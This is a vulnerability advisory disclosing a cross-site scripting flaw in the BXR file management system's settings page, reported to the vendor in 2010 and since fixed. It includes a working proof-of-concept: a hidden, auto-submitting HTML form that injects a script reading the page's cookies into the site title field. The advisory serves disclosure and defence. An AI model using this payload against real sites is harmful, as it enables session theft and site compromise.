Vulnerability ID: HTB22504 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_bxr.html Product: BXR Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr ) Vulnerable Version: 0.6.8 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/settings/update_settings" script to properly sanitize user-supplied input in "setting[site_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/settings/update_settings"; method="post" name="main" > <input type="hidden" name="setting[site_title]" value='BXR File Management System"><script>alert(document.cookie)</script>' /> <input type="hidden" name="setting[site_keywords]" value="BXR, Open Source File Management System" /> <input type="hidden" name="setting[site_description]" value="The Free, Open Source, Ruby on Rails File Management System." /> <input type="hidden" name="setting[let_users_change_default_folder]" value="0" /> <input type="hidden" name="setting[use_ferret]" value="0" /> <input type="hidden" name="setting[overwrite_existing_files]" value="0" /> <input type="hidden" name="commit" value="Update Settings" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version
